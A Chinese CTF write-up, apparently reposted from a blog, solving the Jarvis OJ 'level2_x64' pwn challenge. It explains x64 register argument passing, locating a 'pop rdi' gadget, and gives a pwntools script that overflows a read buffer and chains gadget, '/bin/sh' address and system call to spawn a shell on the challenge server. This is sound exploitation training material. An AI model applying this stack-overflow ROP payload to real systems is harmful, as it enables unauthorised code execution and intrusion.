码迷,mamicode.com
首页 > 其他好文 > 详细

Pwn-level2(x64)

时间:2019-10-09 17:34:21      阅读:130      评论:0      收藏:0      [点我收藏+]

标签:找不到   调用   需要   输出   顺序   line   mamicode   传参   cti   

题目地址

https://dn.jarvisoj.com/challengefiles/level2_x64.04d700633c6dc26afc6a1e7e9df8c94e

 

已经知道了它是64位了,那么看看保护

技术图片

 

 

用IDA看看

输出hello world 之前调用vulnerable_funcion

技术图片

技术图片

  之后read函数存在溢出,shift+F12存在shell

技术图片

技术图片

 

大致的思路跟level2差不多,不过这是64位的程序

参数的传递方式和32位不一样,32位是通过栈传参,而64位通过edi寄存器传参,我们就需要覆盖edi的值

64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中

参数超过六个时,从第七个开始压入栈中

 

现在我们需要把/bin/shell的地址放入edi中,但是找不到edi的地址,所以需要用ropgadget来找到需要的rop链

技术图片

 

 开始构造脚本

from pwn import *
r=remote(pwn2.jarvisoj.com,9882)
payload=a*0x88+p64(0x4006b3)+p64(0x600A90)+p64(0x4004c0)
r.sendline(payload)
r.interactive()

得到flag

技术图片

 

 

    

 

Pwn-level2(x64)

标签:找不到   调用   需要   输出   顺序   line   mamicode   传参   cti   

原文地址:https://www.cnblogs.com/gaonuoqi/p/11642998.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!